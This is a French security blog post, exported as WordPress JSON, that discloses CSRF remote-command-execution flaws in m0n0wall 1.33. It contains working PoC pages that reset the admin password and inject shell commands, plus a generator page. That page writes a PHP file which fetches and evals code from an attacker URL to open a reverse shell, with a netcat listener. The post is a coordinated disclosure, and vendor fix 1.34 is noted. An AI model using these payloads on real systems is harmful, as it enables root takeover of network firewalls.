{"id":461,"date":"2012-11-16T17:50:30","date_gmt":"2012-11-16T15:50:30","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=461"},"modified":"2016-07-25T00:42:29","modified_gmt":"2016-07-24T22:42:29","slug":"csrf-rce-m0n0wall-1-33-remote-root-access","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/csrf-rce-m0n0wall-1-33-remote-root-access\/","title":{"rendered":"[CSRF RCE] m0n0wall 1.33 Remote root Access"},"content":{"rendered":"<p><\/p>\n<p>Une vuln\u00e9rabilit\u00e9 de type CSRF RCE permettant l&#8217;obtention d&#8217;un shell root a \u00e9t\u00e9 d\u00e9couverte sur m0n0wall.<\/p>\n<p><a title=\"m0n0wall\" href=\"http:\/\/m0n0.ch\/wall\/\" target=\"_blank\">m0n0wall<\/a> est une distribution tr\u00e8s l\u00e9g\u00e8re (environ 10Mo) qui fait office de routeur\/firewall bas\u00e9e sur FreeBSD et jug\u00e9e d&#8217;une grande fiabilit\u00e9. Elle a d&#8217;ailleurs donn\u00e9 naissance \u00e0 divers projets comme <a title=\"pfSense\" href=\"http:\/\/www.pfsense.org\/\" target=\"_blank\">pfSense<\/a>. Fournissant une interface d&#8217;administration web compl\u00e8te pour la gestion du firewall, ainsi que des fonctionnalit\u00e9s au d\u00e9marrage via un terminal sp\u00e9cifique, m0n0wall a largement \u00e9t\u00e9 adopt\u00e9 dans le monde de l&#8217;embarqu\u00e9 de part sa puissance, sa fiabilit\u00e9 et sa l\u00e9g\u00e8ret\u00e9.<\/p>\n<p>Il m&#8217;a \u00e9t\u00e9 n\u00e9cessaire d&#8217;exploiter ses diverses fonctionnalit\u00e9s derni\u00e8rement au sein\u00a0d\u2019environnements\u00a0virtuels, et donc de m&#8217;attarder sur son fonctionnement interne.<\/p>\n<p>De cette analyse en est principalement ressorti l&#8217;exploitation de vuln\u00e9rabilit\u00e9 de type CSRF, qui permettent l&#8217;obtention d&#8217;un shell root \u00e0 distance (RCE) :<\/p>\n<blockquote>\n<p>Les attaques de type Cross-Site Request Forgery (abr\u00e9g\u00e9es CSRF prononc\u00e9es sea-surfing ou parfois XSRF) utilisent l&#8217;utilisateur comme d\u00e9clencheur, celui-ci devient complice sans en \u00eatre conscient. L&#8217;attaque \u00e9tant actionn\u00e9e par l&#8217;utilisateur, un grand nombre de syst\u00e8mes d&#8217;authentification sont contourn\u00e9s.<\/p>\n<\/blockquote>\n<p>L&#8217;analyse s&#8217;est principalement port\u00e9e vers l&#8217;administration WebGUI de m0n0wall, enti\u00e8rement \u00e9crite en PHP. Du fait de sa l\u00e9g\u00e8ret\u00e9, le projet m0n0wall n&#8217;int\u00e8gre que tr\u00e8s peu de frameworks et biblioth\u00e8ques web additionnelles, contrairement \u00e0 pfSense qui impl\u00e9mente <a title=\"CSRFMagic\" href=\"http:\/\/csrf.htmlpurifier.org\/\" target=\"_blank\">CSRFMagic<\/a>, une solution de protection contre ce type d&#8217;attaque.<\/p>\n<div id=\"attachment_465\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/m0n01.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-465\" class=\"size-medium wp-image-465\" title=\"m0n0wall interface web\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/m0n01-300x243.png\" alt=\"m0n0wall interface web\" width=\"300\" height=\"243\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/m0n01-300x243.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/m0n01.png 760w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-465\" class=\"wp-caption-text\">m0n0wall interface web<\/p><\/div>\n<p>En guise d&#8217;exemple, quelques r\u00e9sultats d&#8217;analyses sont d\u00e9taill\u00e9s ci-apr\u00e8s.<\/p>\n<h3>Fichier \/usr\/local\/www\/exec.php ligne 250 :<\/h3>\n<p>[php]$ph = popen($_POST[&#8216;txtCommand&#8217;], &amp;amp;amp;quot;r&amp;amp;amp;quot; );[\/php]<\/p>\n<p>La fonction &#8220;<a title=\"popen manuel\" href=\"http:\/\/php.net\/manual\/fr\/function.popen.php\" target=\"_blank\">popen()<\/a>&#8220;, qui permet l&#8217;ex\u00e9cution d&#8217;un processus ou d&#8217;une commande sur le syst\u00e8me, exploite directement une variable $_POST sans que celle-ci ne soit nettoy\u00e9e.<\/p>\n<p>PoC d&#8217;un exploit CSRF qui red\u00e9fini le mot de passe &#8220;mono&#8221; pour le compte administrateur via cette vuln\u00e9rabilit\u00e9 :<\/p>\n<p>[html]&amp;amp;amp;lt;html&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;body&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;form name=&#8217;x&#8217; action=&#8217;http:\/\/m0n0wall_IP:80\/exec.php&#8217; method=&#8217;post&#8217;&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;txtCommand&#8217; value=&#8217;echo &amp;amp;amp;quot;admin:\\$1\\$UHzbn8k6\\$RmvocDPCsXm0uW4SYZAcA\/&amp;amp;amp;quot; &amp;amp;amp;gt; \/usr\/local\/www\/.htpasswd&#8217; \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;\/form&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;script&amp;amp;amp;gt;document.forms[&#8216;x&#8217;].submit();&amp;amp;amp;lt;\/script&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;\/body&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;\/html&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[\/html]<\/p>\n<h3>Fichier \/usr\/local\/www\/diag_ping.php ligne 159 et 161 :<\/h3>\n<p>[php]system(&amp;amp;amp;quot;\/sbin\/$pingprog -S$ifaddr -c$count &amp;amp;amp;quot; . escapeshellarg($host));&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n[&#8230;]&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nsystem(&amp;amp;amp;quot;\/sbin\/$pingprog -c$count &amp;amp;amp;quot; . escapeshellarg($host));[\/php]<\/p>\n<p>Idem sur ces lignes, une CSRF permet l&#8217;ex\u00e9cution de commande au travers de ces deux appels \u00e0 la fonction &#8220;system()&#8221; de PHP. La variable en cause est &#8220;$count&#8221;. Celle-ci est d\u00e9finie dans le m\u00eame fichier \u00e0 la ligne 55 :<\/p>\n<p>[php]$count = $_POST[&#8216;count&#8217;];[\/php]<\/p>\n<p>Mais cette variable n&#8217;est d\u00e9finie que si la condition de la ligne 47 est v\u00e9rifi\u00e9e (plac\u00e9e \u00e0 &#8220;false&#8221;) :<\/p>\n<p>[php]if (($_POST[&#8216;count&#8217;] &amp;amp;amp;lt; 1) || ($_POST[&#8216;count&#8217;] &amp;amp;amp;gt; MAX_COUNT)) {[\/php]<\/p>\n<p>Par cons\u00e9quent, si un assaillant fait pr\u00e9c\u00e9der son injection CSRF avec un nombre entre 1 et 10, alors $count sera d\u00e9finie sans \u00eatre nettoy\u00e9e. Pour prot\u00e9ger ce cas, il faudrait modifier la condition en for\u00e7ant un transtypage vers un entier par exemple :<\/p>\n<p>[php]if ((intval($_POST[&#8216;count&#8217;]) &amp;amp;amp;lt; 1) || (intval($_POST[&#8216;count&#8217;]) &amp;amp;amp;gt; MAX_COUNT)) {[\/php]<\/p>\n<p>PoC d&#8217;un exploit CSRF qui liste le contenu du r\u00e9pertoire courant (ls -la) via cette vuln\u00e9rabilit\u00e9 :<\/p>\n<p>[html]&amp;amp;amp;lt;html&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;body&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;form name=&#8217;x&#8217; action=&#8217;http:\/\/m0n0wall_IP:80\/diag_ping.php&#8217; method=&#8217;post&#8217;&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;count&#8217; value=&#8217;1;ls -la;&#8217; \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;host&#8217; value=&#8217;127.0.0.1&#8242; \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/form&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;script&amp;amp;amp;gt;document.forms[&#8216;x&#8217;].submit();&amp;amp;amp;lt;\/script&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/body&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;\/html&amp;amp;amp;gt;[\/html]<\/p>\n<h3>Fichier \/usr\/local\/www\/exec_raw.php ligne 36 :<\/h3>\n<p>[php]passthru($_GET[&#8216;cmd&#8217;]);[\/php]<\/p>\n<p>Cette instruction est d&#8217;une grande dangerosit\u00e9. En effet, la fonction &#8220;passthru()&#8221; permet d&#8217;ex\u00e9cuter des commandes directement sur le serveur, et le tout via variable GET sans aucun nettoyage. Ce fichier restitue directement \u00e0 l&#8217;\u00e9cran au format &#8220;raw&#8221; le r\u00e9sultat des commandes entr\u00e9es. Il est principalement utilis\u00e9 par les addons\/plugins qui peuvent s&#8217;installer et \u00e9quiper m0n0wall.<\/p>\n<p>Au travers de cette instruction exploitable, un assaillant peu obtenir un reverse-shell complet et interactif \u00e0 distance. Afin d&#8217;appuyer ces propos, je me suis attel\u00e9 \u00e0 la conception d&#8217;un PoC qui s&#8217;est av\u00e9r\u00e9 bien plus compliqu\u00e9 que pr\u00e9vu.<\/p>\n<p>Pour l&#8217;obtention d&#8217;un tel reverse-shell, il faut dans un premier temps \u00e9tablir les programmes suceptibles de transmettre au travers d&#8217;un socket les entr\u00e9es\/sorties d&#8217;un programme tiers (\/bin\/sh en l&#8217;occurence). Or, m0n0wall pr\u00f4ne la l\u00e9g\u00e8ret\u00e9 du haut de ses 10Mo, et n&#8217;inclu donc qu&#8217;un nombre tr\u00e8s limit\u00e9 d&#8217;outils et de commandes. Pas de netcat, de socat, de perl, de python, de ruby ou encore de telnet&#8230; Toutefois PHP est pr\u00e9sent et dispose de la biblioth\u00e8que de socket !<\/p>\n<p>En effet, chaque fichier PHP du WebGUI de m0n0wall doit commencer par la d\u00e9claration suivante :<\/p>\n<p>[bash]#!\/usr\/local\/bin\/php[\/bash]<\/p>\n<p>Je me suis donc orient\u00e9 vers une ex\u00e9cution de code PHP directement en ligne de commande (mode CLI), sans succ\u00e8s. Apr\u00e8s un nombre incalculable de syntaxe r\u00e9alis\u00e9e, m0n0wall ne semblait pas vouloir autoriser l&#8217;ex\u00e9cution de code PHP au travers du terminal directement, mais uniquement par un appel au serveur web via un navigateur.<\/p>\n<p>Il fallait donc concevoir un fichier PHP manuellement, destin\u00e9 \u00e0 manipuler les sockets pour se connecter \u00e0 un h\u00f4te distant, placer ce fichier \u00e0 la racine du serveur web avec le bon en-t\u00eate, le bon chmod, puis finalement faire appel \u00e0 ce fichier.<\/p>\n<p>Pour \u00e9tablir un reverse-shell en PHP, PenTestMonkey met \u00e0 disposition un outil &#8220;<a title=\"php-reverse-shell\" href=\"http:\/\/pentestmonkey.net\/tools\/web-shells\/php-reverse-shell\" target=\"_blank\">php-reverse-shell<\/a>&#8221; o\u00f9 il suffit d&#8217;indiquer l&#8217;h\u00f4te \u00e0 contacter et le port de connexion. Ainsi, l&#8217;id\u00e9e est de placer ce fichier PHP sur un serveur web quelconque (accessible par m0n0wall), renommer ce fichier en .txt pour que la source soit lisible \u00e0 distance, et bien indiquer l&#8217;h\u00f4te et le port de connexion.<\/p>\n<p>Suite \u00e0 cela, une CSRF pr\u00e9cise permet de cr\u00e9er sur m0n0wall ce fichier avec la bonne en-t\u00eate et le bon chmod, puis dans un second temps, de faire appel \u00e0 ce fichier pour \u00e9tablir le reverse-shell. La m\u00e9thode est un peu tordue mais totalement fonctionnelle comme le prouve la <a title=\"m0n0wall PoC CSRF RCE\" href=\"https:\/\/www.youtube.com\/watch?v=It288h9VtV4\" target=\"_blank\">vid\u00e9o de d\u00e9monstration<\/a> r\u00e9alis\u00e9e \u00e0 cet effet.<\/p>\n<p>[youtube]https:\/\/www.youtube.com\/watch?v=It288h9VtV4[\/youtube]<\/p>\n<h3>Le code complet du g\u00e9n\u00e9rateur de la CSRF :<\/h3>\n<p>[html]&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt;&amp;amp;amp;lt;html&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;head&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;script&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nfunction trim(s){&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nreturn s.replace(\/\\r\\n|\\r|\\n|\\t\/g,&#8221;).replace(\/^\\s+\/g,&#8221;).replace(\/\\s+$\/g,&#8221;);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n}&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt;function generateCSRF(){&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nvar target = trim(document.getElementById(&amp;amp;amp;quot;target&amp;amp;amp;quot;).value);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nvar httpurl = trim(document.getElementById(&amp;amp;amp;quot;httpurl&amp;amp;amp;quot;).value);&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nvar resultjs = &amp;amp;amp;quot;&amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nresultjs += &amp;amp;amp;quot;&amp;amp;amp;lt;html&amp;amp;amp;gt;&amp;amp;amp;lt;body&amp;amp;amp;gt;&amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nresultjs += &amp;amp;amp;quot;&amp;amp;amp;lt;img src=&#8217;&amp;amp;amp;quot; + target + &amp;amp;amp;quot;exec_raw.php?cmd=echo%20-e%20%22%23%21\/usr\/local\/bin\/php%5Cn%3C%3Fphp%20eval%28%27%3F%3E%20%27.file_get_contents%28%27http%3A\/\/&amp;amp;amp;quot; + httpurl + &amp;amp;amp;quot;%27%29.%27%3C%3Fphp%20%27%29%3B%20%3F%3E%22%20%3E%20x.php%3Bcat%20x.php%3Bchmod%20755%20x.php%3B&#8217; \/&amp;amp;amp;gt;&amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nresultjs += &amp;amp;amp;quot;&amp;amp;amp;lt;script type=&#8217;text\/javascript&#8217;&amp;amp;amp;gt;function redirect(page){window.location=page;}setTimeout(&#8216;redirect(\\&amp;amp;amp;quot;&amp;amp;amp;quot; + target + &amp;amp;amp;quot;x.php\\&amp;amp;amp;quot;)&#8217;,1000);&amp;amp;amp;lt;\\\/script&amp;amp;amp;gt;&amp;amp;amp;lt;\/body&amp;amp;amp;gt;&amp;amp;amp;lt;\/html&amp;amp;amp;gt;&amp;amp;amp;quot;;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\ndocument.getElementById(&amp;amp;amp;quot;resultjs&amp;amp;amp;quot;).value = resultjs;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n}&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt;&amp;amp;amp;lt;\/script&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;\/head&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;body onload=&amp;amp;amp;quot;generateCSRF();&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;h2&amp;amp;amp;gt;CSRF m0n0wall 1.33 to root RCE (reverse shell)&amp;amp;amp;lt;\/h2&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;p&amp;amp;amp;gt;m0n0wall 1.33, the latest firewall\/router distribution based on FreeBSD is vulnerable to a CSRF attack that allows gaining root access through a reverse shell.&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n The attacker must know the URL address of m0n0wall WebGui.&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n To obtain the reverseshell, attacker must place a netcat in listening mode.&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n On attacker machine :&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;pre&amp;amp;amp;gt;nc -l -vv -p 1337 # Netcat listener, to gain shell control.&amp;amp;amp;lt;\/pre&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n (admin hash is in the \/config\/config.xml file on m0n0wall, and WebGUI access is checked with \/usr\/local\/www\/.htpasswd)&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/p&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;form action=&amp;amp;amp;quot;&amp;amp;amp;quot; onsubmit=&amp;amp;amp;quot;generateCSRF();return false;&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;table&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;tr&amp;amp;amp;gt;&amp;amp;amp;lt;td&amp;amp;amp;gt;URL&#8217;s m0n0wall 1.33 Targeted :&amp;amp;amp;lt;\/td&amp;amp;amp;gt; &amp;amp;amp;lt;td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;input id=&amp;amp;amp;quot;target&amp;amp;amp;quot; type=&amp;amp;amp;quot;text&amp;amp;amp;quot; value=&amp;amp;amp;quot;http:\/\/192.168.0.253:80\/&amp;amp;amp;quot; size=&amp;amp;amp;quot;70&amp;amp;amp;quot; onkeyup=&amp;amp;amp;quot;generateCSRF();&amp;amp;amp;quot; \/&amp;amp;amp;gt;&amp;amp;amp;lt;\/td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/tr&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;tr&amp;amp;amp;gt;&amp;amp;amp;lt;td&amp;amp;amp;gt; HTTP URL to download php-reverse-shell.txt &amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n You need to download php-reverse-shell &amp;amp;amp;lt;a href=&amp;amp;amp;quot;http:\/\/pentestmonkey.net\/tools\/web-shells\/php-reverse-shell&amp;amp;amp;quot; target=&amp;amp;amp;quot;_blank&amp;amp;amp;quot;&amp;amp;amp;gt;here&amp;amp;amp;lt;\/a&amp;amp;amp;gt; !&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n Edit the script to indicate :&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;pre&amp;amp;amp;gt;$ip = &#8216;ATTACKER_IP_REVERSE_SHELL&#8217;; \/\/ CHANGE THIS&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n$port = PORT_IN_LISTENING_MODE; \/\/ CHANGE THIS&amp;amp;amp;lt;\/pre&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nThen, rename php-reverse-shell.php to psr.txt and host it on a accessible web server.&amp;amp;amp;lt;\/td&amp;amp;amp;gt; &amp;amp;amp;lt;td&amp;amp;amp;gt;http:\/\/&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;input id=&amp;amp;amp;quot;httpurl&amp;amp;amp;quot; type=&amp;amp;amp;quot;text&amp;amp;amp;quot; value=&amp;amp;amp;quot;192.168.0.141\/prs.txt&amp;amp;amp;quot; size=&amp;amp;amp;quot;70&amp;amp;amp;quot; onkeyup=&amp;amp;amp;quot;generateCSRF();&amp;amp;amp;quot; \/&amp;amp;amp;gt;&amp;amp;amp;lt;\/td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/tr&amp;amp;amp;gt;&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt;&amp;amp;amp;lt;tr&amp;amp;amp;gt; &amp;amp;amp;lt;td&amp;amp;amp;gt;CSRF exploit to send to an admin : &amp;amp;amp;lt;\/td&amp;amp;amp;gt; &amp;amp;amp;lt;td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;textarea cols=&amp;amp;amp;quot;70&amp;amp;amp;quot; rows=&amp;amp;amp;quot;10&amp;amp;amp;quot; id=&amp;amp;amp;quot;resultjs&amp;amp;amp;quot; readonly=&amp;amp;amp;quot;readonly&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;\/textarea&amp;amp;amp;gt; &amp;amp;amp;lt;\/td&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/tr&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/table&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/form&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;lt;\/body&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;lt;\/html&amp;amp;amp;gt;&amp;amp;lt;\/p&amp;amp;gt;<br \/>\n&amp;amp;lt;p&amp;amp;gt;[\/html]<\/p>\n<p>Pour finaliser cet article, m0n0wall est une solution tr\u00e8s l\u00e9g\u00e8re et puissante qui a fait ses preuves au fil des ann\u00e9es. Toutefois certaines petites faiblesses subsistes permettant de corrompre un tel syst\u00e8me.<\/p>\n<p>Les membres du projet m0n0wall ont \u00e9t\u00e9 avertis vis-\u00e0-vis des quelques remarques faites au sein de cet article. Apr\u00e8s quelques \u00e9changes avec eux pour d\u00e9terminer les meilleurs moyens et m\u00e9canismes de protection \u00e0 impl\u00e9menter, la nouvelle <a title=\"m0n0wall 1.34\" href=\"http:\/\/m0n0.ch\/wall\/downloads.php\" target=\"_blank\">release 1.34<\/a> vient enfin de voir le jour ! Je vous invite par cons\u00e9quent \u00e0 vous mettre \u00e0 niveau.<\/p>\n<p><strong>Liens et ressources connexes :<\/strong><\/p>\n<ul>\n<li><a title=\"m0n0wall\" href=\"http:\/\/m0n0.ch\/wall\/\" target=\"_blank\">m0n0wall<\/a><\/li>\n<li><a title=\"pfSense\" href=\"http:\/\/www.pfsense.org\/\" target=\"_blank\">pfSense<\/a><\/li>\n<li><a title=\"Vid\u00e9o de d\u00e9monstration\" href=\"https:\/\/www.youtube.com\/watch?v=It288h9VtV4\" target=\"_blank\">Vid\u00e9o de d\u00e9monstration PoC<\/a><\/li>\n<li><a title=\"CSRFMagic\" href=\"http:\/\/csrf.htmlpurifier.org\/\" target=\"_blank\">CSRFMagic<\/a><\/li>\n<li><a title=\"php-reverse-shell\" href=\"http:\/\/pentestmonkey.net\/tools\/web-shells\/php-reverse-shell\" target=\"_blank\">php-reverse-shell<\/a><\/li>\n<\/ul>\n<p><strong>Edit du 07\/12\/2012 :<\/strong><\/p>\n<ul>\n<li>PackStormSecurity a publi\u00e9 les\u00a0<a title=\"PacketStormSecurity\" href=\"http:\/\/packetstormsecurity.com\/files\/118652\/monowall-csrf.txt\" target=\"_blank\">&#8220;<em>Proof of Concept<\/em>&#8221; et l&#8217;<em>advisory<\/em><\/a>\u00a0de ces vuln\u00e9rabilit\u00e9s<\/li>\n<li>1337day a publi\u00e9 les\u00a0<a title=\"133day\" href=\"http:\/\/1337day.com\/exploit\/19906\" target=\"_blank\">&#8220;<em>Proof of Concept<\/em>&#8221; et l&#8217;<em>advisory<\/em><\/a>\u00a0de ces vuln\u00e9rabilit\u00e9s<\/li>\n<li>Exploit-DB a publi\u00e9 les\u00a0<a title=\"Exploit-DB\" href=\"http:\/\/www.exploit-db.com\/exploits\/23202\/\" target=\"_blank\">&#8220;<em>Proof of Concept<\/em>&#8221; et l&#8217;<em>advisory<\/em><\/a>\u00a0de ces vuln\u00e9rabilit\u00e9s<\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>Une vuln\u00e9rabilit\u00e9 de type CSRF RCE permettant l&#8217;obtention d&#8217;un shell root a \u00e9t\u00e9 d\u00e9couverte sur m0n0wall. m0n0wall est une distribution [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1171,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[59,195,517,516,14],"tags":[200,205,197,202,196,203,17,49,201,204,198,199,34],"class_list":["post-461","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administration-reseaux-et-systemes","category-bsd","category-csrf","category-rce","category-vuln-exploit-poc","tag-cross-site-request-forgery","tag-csrfmagic","tag-firewall","tag-m0n0wall","tag-pare-feu","tag-pfsense","tag-php","tag-poc","tag-remote-command-execution","tag-root","tag-router","tag-routeur","tag-shell"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/461","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=461"}],"version-history":[{"count":21,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/461\/revisions"}],"predecessor-version":[{"id":1638,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/461\/revisions\/1638"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1171"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=461"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=461"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=461"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}